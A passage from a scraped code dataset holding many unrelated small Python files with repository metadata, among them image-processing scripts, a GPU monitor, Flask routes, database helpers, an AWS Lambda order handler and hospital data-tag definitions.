\"venv/shapefiles/ne_110m_admin_0_countries/ne_110m_admin_0_countries\",\n# \"venv/shapefiles/tl_2017_us_state/tl_2017_us_state\", \"venv/shapefiles/tl_2016_us_county/tl_2016_us_county\")\nprint(locate_country(-80.2358746, 26.224614, 'maps/world_countries_2017'))\n","repo_name":"magickaiyang/tweet_locality","sub_path":"find_boundary.py","file_name":"find_boundary.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2292751873","text":"# -*- encoding: utf-8 -*-\n# @Time : 2019/2/27 16:10\n\nimport os\nimport numpy as np\nfrom PIL import Image\n\n# Folder_path = 'D:/Dataset/Hand Pose 2d to 3d/STB/B1Random/'\nFolder_path = '/Volumes/YF-Code-256/Data/STB/B1Counting/'\nfile_name = 'SK_depth_0.png'\nimage = Image.open(os.path.join(Folder_path, file_name)).convert('RGB')\nprint(type(image))\nprint((image.size))\n# image.show()\nRGB = np.array(image)\nprint(RGB.shape)\nprint(RGB[240][320])\nRGB[:,:,1] = 0\nim = Image.fromarray(RGB)\nim.show()\nDepth = RGB[:,:,1] * 256 + RGB[:,:,0]\nde = Image.fromarray(np.uint8(Depth / np.max(Depth) *255))\nde.show()","repo_name":"yunfanLu/VAE-Pose","sub_path":"VaePose/UnitTest/ImageTest.py","file_name":"ImageTest.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"40225663132","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# Read image from file in gray scale mode and convert to numpy array\nimg = np.array(cv2.imread(\"11.png\", cv2.IMREAD_GRAYSCALE))\nsrc = np.array(cv2.imread(\"22.png\", cv2.IMREAD_GRAYSCALE))\nimg2 = cv2.equalizeHist(img, src)\nplt.subplot(231)\nplt.imshow(img, cmap='gray')\nplt.subplot(234)\nplt.hist(img.ravel(), bins=256, range=[0, 256])\nplt.subplot(232)\nplt.imshow(src, cmap='gray')\nplt.subplot(235)\nplt.hist(src.ravel(), bins=256, range=[0, 256])\nplt.subplot(233)\nplt.imshow(img2, cmap='gray')\nplt.subplot(236)\nplt.hist(img2.ravel(), bins=256, range=[0, 256])\nplt.subplots_adjust(left=0.1, bottom=0.1, right=0.9, top=0.9, wspace=0.4, hspace=0.4)\nplt.show()\n","repo_name":"Nourollah/Python_ImageProcessing","sub_path":"S02/S02_C14_P57_histogram_matching.py","file_name":"S02_C14_P57_histogram_matching.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"21"} +{"seq_id":"43352828652","text":"#coding=utf-8\nimport os\nimport sys\nimport pwd\nimport time\nimport psutil\nimport subprocess\nimport operator\nimport argparse\n\ndef is_cuda_avaiable():\n try:\n n = str(subprocess.check_output([\"nvidia-smi\", \"-L\"])).count('UUID')\n except Exception as e:\n n = 0\n return n\n\ndef clear():\n #print(\"\\033[H\\033[J\")()\n sys.stdout.write(\"\\x1b[2J\\x1b[H\")\n\ndef get_owner(pid):\n try:\n for line in open('/proc/%d/status' % pid):\n if line.startswith('Uid:'):\n uid = int(line.split()[1])\n return pwd.getpwuid(uid).pw_name\n except:\n return None\n\ndef get_cmd(pid):\n process=psutil.Process(int(pid))\n cmd=process.cwd()\n for e in process.cmdline():\n cmd+=\" \"+e\n return cmd\n\ndef is_train(name):\n trains=[\"python\",\"caffe\",\"python3\"]\n for train in trains:\n if name.find(train) >= 0:\n return True\n return False\n\ndef get_info(verbose=True):\n gpus=[]\n msg = subprocess.Popen('nvidia-smi', stdout = subprocess.PIPE).stdout.read().decode()\n msg = msg.strip().split('\\n')\n lino = 0\n seen = 0\n while True:\n if '|=' in msg[lino]:\n seen +=1\n if seen == 2:\n lino += 1\n break\n if '| Processes:' in msg[lino]:\n infos = msg[lino+1].split()\n pidpos = infos.index('PID')\n gpupos = infos.index('GPU')\n lino += 1\n maps={}\n while lino < len(msg) -1:\n line = msg[lino]\n items = line.split()\n pid = items[pidpos]\n gpuid = items[gpupos]\n mem_usage = items[-2][:-3]\n if pid in maps.keys():\n maps[pid]=str(gpuid)+\",\"+maps[pid]\n else:\n maps[pid]=str(gpuid)+\"\\t\"+pid+\"\\t\"+mem_usage+\"M\"\n lino += 1\n maps=sorted(maps.items(),key=operator.itemgetter(1),reverse=True)\n lines=[]\n for pid in maps:\n try:\n cmd = get_cmd(pid[0])\n if(is_train(cmd)):\n line=pid[1]+\"\\t\"+cmd\n lines.append((line))\n except Exception as e:\n pass\n lines.reverse()\n line=\"\"\n for i,g in enumerate(gpus):\n line+=str(i)+\":\"+g+\" \\t\"\n if i % 4 == 3:\n line+=\"\\n\"\n if verbose:\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime()))\n #print(line[:-1])\n print(\"gpu\\tpid\\tmemusage\\tdir\\tcmd\")\n runs=[]\n for line in lines:\n runs.append(line)\n if verbose:\n print(line)\n return runs\n\ndef gtop():\n while True:\n runs=get_info(False)\n clear()\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime()))\n for run in runs:\n print(run)\n\ndef write2log(line,path=\"gpu.log\"):\n with open(path,\"a+\") as f:\n f.write(line+\"\\n\")\n\ndef gm():\n allruns={}\n while True:\n runs=get_info(False)\n if len(allruns)==0:\n for run in runs:\n rp=run.split(\" \")[1]\n allruns[rp]=run\n else:\n rps=[]\n for run in runs:\n rp=run.split(\" \")[1]\n rps.append(rp)\n \n for r in list(allruns.keys()):\n if r not in rps:\n run=allruns[r]\n line=time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime())+\" \"+run+\" closed\"\n print(line)\n write2log(line)\n del allruns[r]\n \n for i in range(len(rps)):\n run=runs[i]\n if not allruns.has_key(rps[i]):\n line=time.strftime(\"%Y-%m-%d %H:%M:%S\",time.localtime())+\" \"+run+\" created\"\n print(line)\n write2log(line)\n allruns[rps[i]]=runs[i]\n\ndef get_args():\n args=argparse.ArgumentParser()\n args.add_argument(\"-m\", \"--gm\", default=False,help=\"monitor\")\n args.add_argument(\"-t\", \"--gtop\", default=False,help=\"monitor\")\n args.add_argument(\"-g\", \"--info\", default=True,help=\"monitor\")\n return args.parse_args()\n\nif __name__ == \"__main__\":\n args=get_args()\n if not is_cuda_avaiable():\n print(\"There seems no gpu available.\")\n exit(0)\n if args.gm:\n gm()\n elif args.gtop:\n gtop()\n else:\n get_info()","repo_name":"imistyrain/mrcv","sub_path":"mrcv/gpu.py","file_name":"gpu.py","file_ext":"py","file_size_in_byte":4298,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"21"} +{"seq_id":"13389738930","text":"from tkinter import *\r\nwindow = Tk()\r\n\r\n'''\r\nconfig the widget in the window\r\n'''\r\ndef button_func():\r\n button1.config(text = 'howdy')\r\n\r\n'''\r\nuse the command to make a call back function\r\n'''\r\n\r\n\r\nbutton1 = Button(window,text = 'haha',command = button_func)\r\nbutton1.pack()\r\n\r\nwindow.mainloop()\r\n","repo_name":"chuyuanver/notes-for-tkinter","sub_path":"tkinter_test/tkinter_test2.py","file_name":"tkinter_test2.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31791655101","text":"# 년원일(yyyy.mm.dd)를 입력받아 일월년(dd-mm-yyyy)로 출력\n# 한 자리 일/월은 0을 붙여 두자리로 출력\n\ny, m, d = input().split('.')\nif (len(m) == 1):\n m = '0' + m\nif (len(d) == 1):\n d = '0' + d\n\nprint('{}-{}-{}'.format(d, m, y))\n\n# tip : 삼항연산자 이용\n# m = '0' + m if len(m) == 1 else m\n# d = '0' + d if len(d) == 1 else d","repo_name":"sangm1n/problem-solving","sub_path":"CodeUp/[009~025] 기초-입출력/025.py","file_name":"025.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38648370952","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# SPDX-License-Identifier: AGPL-3.0-or-later\n\nimport os\nimport glob\nfrom datetime import datetime\n\n\ndef get_files_tree():\n root = \"static/\"\n tree = {}\n for file_path in glob.iglob('static/**', recursive=True):\n file_path = file_path.replace(root, \"\")\n file_dir = \"/\".join(file_path.split(\"/\")[:-1])\n if file_dir not in tree:\n tree[file_dir] = []\n file_name = file_path.split(\"/\")[-1]\n tree[file_dir].append(file_name)\n if \"\" in tree:\n del tree[\"\"]\n return tree\n\n\ndef sizeof_fmt(num, suffix=\"B\"):\n for unit in [\"\", \"Ki\", \"Mi\", \"Gi\", \"Ti\", \"Pi\", \"Ei\", \"Zi\"]:\n if abs(num) < 1024.0:\n return f\"{num:3.1f} {unit}{suffix}\"\n num /= 1024.0\n return f\"{num:.1f} Yi{suffix}\"\n\n\ndef recursive_generate_index_pages(env):\n tree = get_files_tree()\n\n for file_dir in tree:\n file_dir_split = file_dir.split(\"/\")\n\n marker_path_menu = []\n marker_files = []\n for i, split_dir in enumerate(file_dir_split):\n marker_path_menu.append([\"../\"*(len(file_dir_split)-i-1), split_dir])\n\n for file in sorted(tree[file_dir]):\n if file == \"index.html\":\n continue\n\n file_path = f\"{file_dir}/{file}\"\n static_file_path = \"static/\"+file_path\n file_is_dir = os.path.isdir(static_file_path)\n file_size = os.path.getsize(static_file_path) if not file_is_dir else \"-1\"\n file_size_fmt = sizeof_fmt(file_size) if not file_is_dir else \"—\"\n modified = os.path.getmtime(static_file_path)\n file_modified = datetime.fromtimestamp(modified).strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n file_modified_fmt = datetime.fromtimestamp(modified).strftime(\"%Y-%m-%d %H:%M:%S\")\n\n marker_files.append({\n \"is_dir\": file_is_dir,\n \"name\": file,\n \"path\": f\"./{file}\",\n \"size\": file_size,\n \"size_fmt\": file_size_fmt,\n \"modified\": file_modified,\n \"modified_fmt\": file_modified_fmt\n })\n\n markers = {\n \"path\": \"/\"+file_dir,\n \"path_menu\": marker_path_menu,\n \"files\": marker_files,\n \"count_dirs\": sum(x['is_dir'] is True for x in marker_files),\n \"count_files\": sum(x['is_dir'] is False for x in marker_files)\n }\n template = env.get_template(\"__folder_index__.html\")\n html = template.render(markers)\n path = f\"static/{file_dir}/index.html\"\n with open(path, \"w\") as fh:\n fh.write(html)\n","repo_name":"IITC-CE/website","sub_path":"pages/__filelist__.py","file_name":"__filelist__.py","file_ext":"py","file_size_in_byte":2655,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"10524671126","text":"from flask import Blueprint, abort, jsonify, request\nfrom flaskr.models.models import Classes, Schools\nfrom flaskr.Classes.utils import checkClasses, addClassToDB\n\nclasses = Blueprint('classes', __name__)\n\n\n@classes.route('/api/classes')\ndef get_classes():\n classes_query = Classes.query.order_by('id').all()\n\n if not classes_query:\n abort(404, 'No Classes')\n\n classes_list = [c.display() for c in classes_query]\n\n return jsonify({\n 'classes': classes_list,\n 'success': True\n })\n\n\n@classes.route('/api/classes/<int:class_id>')\ndef get_class(class_id):\n class_ = Classes.query.get(class_id)\n\n if not class_:\n abort(404, f'No Class with ID#{class_id}')\n\n class_ = class_.display()\n\n return jsonify({\n 'class': class_,\n 'success': True\n })\n\n\n@classes.route('/api/classes', methods=['POST'])\ndef create_classes():\n\n req = request.get_json()\n\n # Check if request is valid\n if not req:\n abort(400, 'Fields Shouldn\\'t Be Empty!')\n\n grade = req.get('class')\n school_id = req.get('school')\n\n school = Schools.query.get(school_id)\n\n # Check if important data exists in request body\n if not grade or not school:\n abort(422, 'Fields Shouldn\\'t Be Empty!')\n\n # Check if class already exist in the school\n if checkClasses():\n abort(400, f'A Class Is Already Registered In this School With: {grade}')\n\n body = {\n 'grade': grade,\n 'school': school\n }\n\n # Add class to the database\n try:\n addClassToDB(body)\n except Exception as e:\n print(e)\n abort(500, 'Something Went Wrong In Our End.')\n\n # return success value, and class info\n return jsonify({\n 'class': f'Class \"{grade}\" was created successfully!',\n 'success': True\n })\n\n\n@classes.route('/api/classes/<int:class_id>', methods=['DELETE'])\ndef delete_classes(class_id):\n class_ = Classes.query.get(class_id)\n # Check if class exist, if not return 404\n if not class_:\n abort(404, f'No Class with ID#{class_id}')\n\n # try to delete class from database\n class_name = class_.grade\n try:\n class_.delete()\n\n except Exception as e:\n print(e)\n abort(500, 'Something Went Wrong In Our End.')\n\n return jsonify({\n 'class': f'Class \"{class_name}\" has ben deleted!',\n 'succes': True\n })\n\n\n@classes.route('/api/classes/<int:class_id>', methods=['PATCH'])\ndef update_classes(class_id):\n class_ = Classes.query.get(class_id)\n\n # Check if class exists\n if not class_:\n abort(404, f'No Class with ID#{class_id}')\n\n req = request.get_json()\n\n # Check if request is valid\n if not req:\n abort(400, 'Fields Shouldn\\'t Be Empty!')\n\n updated_grade = req.get('class')\n updated_school_id = req.get('school')\n\n try:\n if updated_grade:\n class_.grade = updated_grade\n else:\n raise Exception\n if updated_school_id:\n pass\n # updated_school = Schools.query.get(updated_school_id)\n # class_.school = updated_school\n\n class_.update()\n\n except Exception as e:\n print(e)\n abort(422, 'Cannot Update This Class.')\n\n return jsonify({\n 'class': f'Class \"{class_.grade}\" has been updated!',\n 'success': True\n })\n","repo_name":"Ebra01/SsMS","sub_path":"flaskr/Classes/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27473761172","text":"import numpy as np\nimport numpy \nimport math\nfrom models import interpolation , SRCNN_train , SRCNN_model, SRCNN_predict , DNCNN_train , DNCNN_model , DNCNN_predict\n#from scipy.misc import imresize\nfrom scipy.io import loadmat\nimport matplotlib.pyplot as plt\n\nimport matplotlib\n\nif __name__ == \"__main__\":\n # load datasets \n channel_model = \"VehA\"\n SNR = 22\n Number_of_pilots = 48\n num_pilots = Number_of_pilots\n perfect = loadmat(\"Perfect_\"+ channel_model +\".mat\")['My_perfect_H']\n noisy_input = loadmat(\"Noisy_\" + channel_model + \"_\" + \"SNR_\" + str(SNR) + \".mat\") ['My_noisy_H']\n # [channel_model+\"_noisy_\"+ str(SNR)] \n \n interp_noisy = interpolation(noisy_input , SNR , Number_of_pilots , 'rbf')\n\n perfect_image = numpy.zeros((len(perfect),72,14,2))\n print (perfect_image.ndim)\n a = perfect_image[:,:,:,0] = numpy.real(perfect)\n print (perfect_image[:,:,:,0].ndim)\n perfect_image[:,:,:,1] = numpy.imag(perfect)\n perfect_image = numpy.concatenate((perfect_image[:,:,:,0], perfect_image[:,:,:,1]), axis=0).reshape(2*len(perfect), 72, 14, 1)\n \n # 80000, 72, 14 , 1 is the new dimension \n # ####### ------ training SRCNN ------ #######\n # idx_random = numpy.random.rand(len(perfect_image)) < (1/9) # uses 32000 from 36000 as training and the rest as validation\n # train_data, train_label = interp_noisy[idx_random,:,:,:] , perfect_image[idx_random,:,:,:]\n # val_data, val_label = interp_noisy[~idx_random,:,:,:] , perfect_image[~idx_random,:,:,:] \n\nfrom mpl_toolkits import mplot3d\nimport numpy as np\nimport matplotlib.pyplot as plt\n \n\n\nfig = plt.figure()\n \n# syntax for 3-D projection\nax = plt.axes(projection ='3d')\n\n# z = np.linspace (1,2,10)\n# x = numpy.real(perfect)\n# y = np.linspace (1,4,10)\n# print (perfect_image[1,2,3,0])\n# x,y,z = perfect_image[:,:,:,0]\n# defining all 3 axis\n\n# plotting\n\n# For each set of style and range settings, plot n random points in the box\n# defined by x in [23, 32], y in [0, 100], z in [zlow, zhigh].\n# for m, zlow, zhigh in [('o', -50, -25), ('^', -30, -5)]:\n# i = -1 \n# j = -1\n# k = -1\n# flag = 0 \n# print (a.ndim)\n# print (a.shape)\n# for index in a:\n# i = i + 1\n# j = -1\n# for freq in index:\n# j = j + 1\n# k = -1\n# for time in freq:\n# k = k + 1\n# magnitude = a[i,j,k]\n\n# if flag == 0 :\n# vmin = magnitude \n# vmax = magnitude \n# flag = 1\n# elif flag == 1 :\n# if magnitude < vmin :\n\n# vmin = magnitude \n# elif magnitude > vmax :\n# vmax = magnitude \n\n# print (vmax)\n# print (vmin)\n\nvmax = 3.284971134622097\nvmin = -3.1601099347835957\n\ni = -1 \nj = -1 \nk = -1\ncount = -1\nm = 10000\nfor index in a:\n i = i + 1\n j = -1\n\n if count == m :\n break \n\n for freq in index:\n j = j + 1\n k = -1\n\n if count == m :\n break \n\n for time in freq:\n k = k + 1\n magnitude = a[i,j,k]\n \n # plot = ax.scatter(k, j, magnitude, c = magnitude, cmap='viridis', marker='o') # s is marker size # norm = Normalize \n\n plot = ax.scatter(k, j, i, c = i , cmap='viridis', marker=\".\", norm = matplotlib.colors.Normalize(vmin=vmin, vmax=vmax, clip=False)) \n # s is marker size # norm = Normalize \n\n count = count + 1 \n if count == m :\n break \n# print (x)\n# print (y)\n# print (z)\n# plot = ax.scatter(x, y, z, c = z, cmap='viridis', marker='o') # s is marker size # norm = Normalize \n\nplt.colorbar(plot) # mappable was found to use for colorbar creation\n\nax.set_title('3D line plot geeks for geeks')\n\nax.set_xlabel('X Label')\nax.set_ylabel('Y Label')\nax.set_zlabel('Z Label')\nplt.show()\n\n\n# the math is that computer is good to solve all visual but , how to take x,y,z from perfet_image , \n# if perfect_image [:::0] then only 1 value return is magnitude ","repo_name":"WandererGuy/ChannelNet2","sub_path":"plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":4015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34878126051","text":"import os\n\n\nfrom parser.censys import CensysParser\n\n\nif __name__ == '__main__':\n\n ip = input('Введите айпи в формате x.x.x.x')\n\n os.environ['CENSYS_API_URL'] = 'https://search.censys.io/hosts/' + ip\n\n parser = CensysParser()\n\n parser\\\n .request()\\\n .perform()\\\n .parse()\\\n .export()\n","repo_name":"eternityxxxx/osint-parser","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"uk","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70041225654","text":"import json\nfrom os import path\n\nimport datetime\n\n\nclass Database(object):\n def __init__(self, dirpath=\"db/\", path_prefix=\"\"):\n self.folder_path = dirpath\n self.path_prefix = path_prefix\n\n def _load_file(self, filename: str, default=\"{}\"):\n fp = self.path_prefix + self.folder_path + filename\n self._check_file(fp, default)\n return json.load(open(fp, 'r'))\n\n def _dump_file(self, data, filename: str):\n fp = self.path_prefix + self.folder_path + filename\n json.dump(data, open(fp, 'w+'))\n\n def __get_file(self, fp):\n if not path.isfile(self.path_prefix + fp):\n return []\n return json.load(open(self.path_prefix + fp))\n\n def _check_file(self, fp, default):\n if not path.isfile(self.path_prefix + fp):\n open(self.path_prefix + fp, \"w+\").write(default)\n\n def get_event_oprs(self, event_id):\n from server.models import OprEntry\n entries = OprEntry.query.filter_by(event=event_id).all()\n data = {}\n for entry in entries:\n if entry.team not in data.keys():\n data[entry.team] = {}\n if entry.score_key not in data[entry.team].keys():\n data[entry.team][entry.score_key] = entry.value\n return data\n\n def get_table_headers(self, event, key):\n file_path = self.path_prefix + 'clooney/headers/{}.json'.format(event)\n headers = json.load(open(file_path))\n if key not in headers.keys():\n return []\n else:\n for i in range(len(headers[key])):\n headers[key][i]['sort_id'] = chr(ord('a') + i)\n return headers[key]\n\n def get_raw_data(self, event_id):\n from server.models import ScoutingEntry\n entries = ScoutingEntry.query.filter_by(event=event_id).all()\n return [elem.to_dict()[\"data\"] for elem in entries]\n\n def get_stats_last_modified(self, event_id):\n from server.models import LastModifiedEntry\n entry = LastModifiedEntry.query.filter_by(event=event_id, key=\"stats\").first()\n if entry:\n return datetime.datetime.strptime(entry.last_modified, '%Y-%m-%d %H:%M:%S.%f')\n else:\n return datetime.datetime.utcnow()\n\n def get_raw_last_modified(self, event_id):\n from server.models import LastModifiedEntry\n entry = LastModifiedEntry.query.filter_by(event=event_id, key=\"raw\").first()\n if entry:\n return datetime.datetime.strptime(entry.last_modified, '%Y-%m-%d %H:%M:%S.%f')\n else:\n return datetime.datetime.utcnow()\n\n def get_event_list_last_modified(self):\n from server.models import LastModifiedEntry\n entry = LastModifiedEntry.query.filter_by(event='all', key=\"event_list\").first()\n if entry:\n return datetime.datetime.strptime(entry.last_modified, '%Y-%m-%d %H:%M:%S.%f')\n else:\n return datetime.datetime.utcnow()\n\n def get_opr_last_modified(self):\n from server.models import LastModifiedEntry\n entry = LastModifiedEntry.query.filter_by(event='all', key=\"opr\").first()\n if entry:\n return datetime.datetime.strptime(entry.last_modified, '%Y-%m-%d %H:%M:%S.%f')\n else:\n return datetime.datetime.utcnow()\n\n def get_event_last_modified(self, event_id):\n from server.models import LastModifiedEntry\n entry = LastModifiedEntry.query.filter_by(event=event_id, key=\"event\").first()\n if entry:\n return datetime.datetime.strptime(entry.last_modified, '%Y-%m-%d %H:%M:%S.%f')\n else:\n return datetime.datetime.utcnow()\n\n def get_stats(self, event_id):\n from server.models import AnalysisEntry\n entries = AnalysisEntry.query.filter_by(event=event_id, key=\"avg\").all()\n oprs = self.get_event_oprs(event_id)\n calc = AnalysisEntry.query.filter_by(event=event_id, key=\"calc\").all()\n calc = dict(zip(map(lambda x: x.team, calc), map(lambda x: x.get_data(), calc)))\n for entry in entries:\n data = entry.get_data()\n team_number = data[\"team_number\"][\"value\"]\n if team_number in oprs.keys():\n opr_dict = oprs[team_number]\n data[\"opr\"] = dict(zip(opr_dict.keys(), map(lambda x: round(x, 1), opr_dict.values())))\n if team_number in calc.keys():\n data[\"calc\"] = calc[int(team_number)]\n entry.set_data(data)\n return dict([(str(elem.team), elem.get_data()) for elem in entries])\n\n def get_avg_data(self, event_id):\n from server.models import AnalysisEntry\n entries = AnalysisEntry.query.filter_by(event=event_id, key=\"avg\").all()\n return dict([(str(elem.team), elem.get_data()) for elem in entries])\n\n def get_calculated_data(self, event_id):\n from server.models import AnalysisEntry\n entries = AnalysisEntry.query.filter_by(event=event_id, key=\"calc\").all()\n return dict([(str(elem.team), elem.get_data()) for elem in entries])\n\n def get_pit_scouting(self, event_id):\n from server.models import AnalysisEntry\n entries = AnalysisEntry.query.filter_by(event=event_id, key=\"pit\").all()\n return dict([(str(elem.team), elem.get_data()) for elem in entries])\n","repo_name":"kForth/ClooneyWebServer","sub_path":"server/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":5299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"19153343772","text":"import os\nimport uuid\n\nimport psycopg2\nimport ujson\n\n\ndef lambda_handler(event: dict, context: object) -> bool:\n for record in event[\"Records\"]:\n process_record(record, context.aws_request_id)\n\n return True\n\n\ndef process_record(record: dict, source: uuid.UUID):\n event_body = ujson.loads(record[\"body\"])[\"Message\"]\n event_body = ujson.loads(event_body)\n\n shipment = {\n \"carrier\": event_body[\"carrier\"],\n \"weight\": event_body[\"weight\"],\n \"length\": event_body[\"length\"],\n \"width\": event_body[\"width\"],\n \"height\": event_body[\"height\"],\n \"is_sortable\": event_body[\"is_sortable\"],\n \"price\": {\n \"amount\": event_body[\"price\"][\"amount\"],\n \"currency\": event_body[\"price\"][\"currency\"],\n },\n }\n\n # There should be some order logic\n\n persist_order(shipment, source)\n\n\ndef persist_order(shipment: dict, source_id: uuid):\n host = os.environ[\"RDS_HOST\"]\n port = os.environ[\"RDS_PORT\"]\n username = os.environ[\"RDS_USERNAME\"]\n password = os.environ[\"RDS_PASSWORD\"]\n\n conn = psycopg2.connect(\n host=host, port=port, database=\"postgres\", user=username, password=password\n )\n\n cursor = conn.cursor()\n cursor.execute(\n \"INSERT INTO orders (carrier, weight, length, width, height, is_sortable, price, currency, source) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\",\n (\n shipment[\"carrier\"],\n shipment[\"weight\"],\n shipment[\"length\"],\n shipment[\"width\"],\n shipment[\"height\"],\n shipment[\"is_sortable\"],\n shipment[\"price\"][\"amount\"],\n shipment[\"price\"][\"currency\"],\n source_id,\n ),\n )\n\n conn.commit()\n cursor.close()\n conn.close()\n","repo_name":"sdarmofal/cloudier","sub_path":"src/order/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"22510939905","text":"from control_files.fcrb_keys_and_sats import fcrb_sats\nfrom control_files.ustan_keys_and_sats import ustan_sats\nfrom control_files.zmc_keys_and_sats import zmc_sats\nimport copy\n\nustan_diagnostic = {'tag': 'diagnostic', 'source': 'ustan.general', 'fields': ['chi', 'incidence_date', 'site_icd_10', 'name', 'first_seen_date', 'site', 'histology', 'primary', 'metastasis1', 'metastasis2', 'metastasis3', 'cong_heart_fail_flag', 'con_tiss_disease_rheum_flag', 'dementia_flag', 'pulmonary_flag', 'con_tiss_flag', 'diabetes_flag', 'para_hemiplegia_flag',\n 'renal_flag', 'liver_flag', 'aids_hiv_flag', 'cancer_flag', 'charlson_score', 'age', 'side', 'gender', 'age_at_diagnosis', 'weight', 'bmi', 'height', 'ref_hospital', 'stage', 'stage_detail', 'tnm_t', 'tnm_t_detail', 'tnm_n', 'tnm_n_detail', 'tnm_m', 'perf_stat', 'smr01_flag', 'gp_name', 'survival_days', 'gp_id'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nfcrb_diagnostic_1 = {'tag': 'diagnostic', 'source': 'fcrb.diagnostic', 'fields': [\n 'einri', 'patnr', 'falnr', 'pernr', 'lfdnr', 'dkey1'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nfcrb_diagnostic_2 = {'tag': 'diagnostic', 'source': 'fcrb.episode', 'fields': [\n 'patnr', 'falnr'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nfcrb_treatments = {'tag': 'treatments', 'source': 'fcrb.episode', 'fields': ['patnr', 'bekat'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\n\n\nzmc_diagnostic_1 = {'tag': 'diagnostic', 'source': 'zmc.complaints_and_diagnosis', 'fields': ['patnr', 'complaints_and_diagnosis', 'status', 'specialism', 'type',\n 'name_of_diagnosis_or_complaint', 'anatomical_location', 'laterality', 'begin_date', 'end_date'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nzmc_diagnostic_2 = {'tag': 'diagnostic', 'source': 'zmc.bloodpressure', 'fields': ['patnr', 'value', 'position', 'description', 'date', 'systolic_bloodpressure',\n 'diastolic_bloodpressure', 'measurement_method', 'manchette_type', 'measurement_location', 'description'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nzmc_diagnostic_3 = {'tag': 'diagnostic', 'source': 'zmc.weight', 'fields': [\n 'patnr', 'measurement', 'clothes', 'description', 'date'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nzmc_diagnostic_4 = {'tag': 'diagnostic', 'source': 'zmc.length', 'fields': [\n 'patnr', 'measurement', 'description', 'date'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nzmc_diagnostic_5 = {'tag': 'diagnostic', 'source': 'zmc.registered_events', 'fields': [\n 'patnr', 'type', 'method', 'anatomical_location', 'laterality', 'start_date', 'end_date', 'indication', 'requested_by', 'date'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nzmc_diagnostic_6 = {'tag': 'diagnostic', 'source': 'zmc.functional_or_mental_state', 'fields': [\n 'patnr', 'name', 'value', 'date'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\nzmc_diagnostic_7 = {'tag': 'diagnostic', 'source': 'zmc.patient_details', 'fields': [\n 'patnr', 'nname', 'nnams', 'vname', 'titel', 'gschl', 'gbdat', 'natio'], 'key_lookup': {}, 'table': True, 'graph': False, 'image': False}\n\nustan_tags = [ustan_diagnostic]\nfcrb_tags = [fcrb_diagnostic_1,\n fcrb_diagnostic_2,\n fcrb_treatments]\n \nzmc_tags = [zmc_diagnostic_1,\n zmc_diagnostic_2,\n zmc_diagnostic_3,\n zmc_diagnostic_4,\n zmc_diagnostic_5,\n zmc_diagnostic_6,\n zmc_diagnostic_7]\n\ndef hospital_picker(hospital):\n if hospital == 'FCRB':\n return copy.deepcopy(fcrb_sats), fcrb_tags\n elif hospital == 'USTAN':\n return copy.deepcopy(ustan_sats), ustan_tags\n elif hospital == 'ZMC':\n return copy.deepcopy(zmc_sats), zmc_tags\n\ndef table_picker(tag_names, tags):\n return [tag['source'] for tag in tags if tag['tag'] in [tag_name for tag_name in tag_names]]\n\ndef sat_picker(tables, sat_definitions):\n sat_names = []\n for table in tables:\n try:\n sat_definitions[table].pop('links')\n except:\n print(f\"Already popped: {table}\")\n sat_names.extend([sat_name for sat_name in sat_definitions[table]])\n return sat_names\n\n# tables, tags = hospital_picker('FCRB')\n# table_names = table_picker('diagnostic',tags )\n# print(table_names)\n# sats = []","repo_name":"SkinnyPigeon/new_dv_tests","sub_path":"development/tags_and_sats.py","file_name":"tags_and_sats.py","file_ext":"py","file_size_in_byte":4678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17211258017","text":"from sklearn.externals import joblib\nfrom flask import Flask, request\nfrom jinja2 import Template\n\np = joblib.load('sentiment-model.pkl')\n\napp = Flask(__name__)\n\ndef pred(text):\n return p.predict([text])[0]\n\n@app.route('/')\ndef index():\n text = request.args.get('text')\n if text:\n prediction = pred(text)\n else:\n prediction = \"\"\n\n template = Template(\"\"\"\n <html>\n <body>\n <h1>Sentiment Analysis</h1>\n <h3>Type 